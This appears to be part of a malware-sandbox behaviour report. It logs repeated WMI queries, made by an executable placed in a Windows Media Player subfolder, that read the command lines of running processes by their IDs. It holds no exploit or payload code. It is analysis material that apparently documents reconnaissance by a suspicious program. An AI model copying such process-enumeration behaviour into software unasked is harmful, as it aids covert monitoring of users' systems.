Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 9788
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1712
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1712
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5236
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5472
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5376
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8028
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8028
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4364
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7844
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7844
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7912
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6600
Source: C:\Program Files\Windows Media Player\graph\graph.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 928
